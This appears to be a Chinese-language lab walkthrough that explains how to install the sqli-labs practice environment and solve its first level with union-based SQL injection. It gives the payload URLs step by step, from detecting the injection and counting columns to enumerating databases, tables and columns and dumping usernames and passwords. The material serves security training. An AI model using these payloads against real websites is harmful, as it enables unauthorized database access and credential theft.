1、 sqli-labs需要lamp或wamp环境,本机使用wamp环境,使用phpstudy的集成环境
2、 Sqli-labs的安装,下载sqli-labs,解压到本地www目录下,打开WWW\sqli-labs\sql-connections文件下的db-creds.inc文件,修改mysql账户和密码和本机mysql数据库账户和密码一致
3、 浏览器输入http://127.0.0.1/sqli-labs,单击Setup/reset Database for labs
此时sqli-labs平台已经搭建好了
选择第一关,
让输入一个参数进入,那就先传入?id=1吧
1、先判断是字符型还是整数型
http://127.0.0.1/sqli-labs/Less-1/?id=1
http://127.0.0.1/sqli-labs/Less-1/?id=1'
进一步判断,http://127.0.0.1/sqli-labs/Less-1/?id=1' and ‘1’=’1 ,页面正常
http://127.0.0.1/sqli-labs/Less-1/?id=1' and ‘1’=’2
确定是字符型注入
2、判断查询列数
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4–+
报错,未知的4列,那就试一下3
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3–+
现在知道是有三列了
3、判断显示位
http://127.0.0.1/sqli-labs/Less-1/?id=-1‘ union select 1,2,3–+
查询所使用的数据库,以及数据库版本,大于5.0版本的数据库存在information_schema库,
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),version()–+
4、 获取所有数据库名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),2–+
5、 获取数据库所有表名
Sqli-labs使用的数据库是security
查询数据库中所有表:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),2–+
6、 获取表中所有字段
Users表中存放用户信息,来查看一下
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),2–+
发现有三个字段,
7、 获取字段中的数据
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select concat_ws(char(32,58),id,username,password) from users limit 1,1),2–+
一次获取一个账户信息,通过limit 0,1 第一个参数控制第n-1个id,第二个参数控制显示行数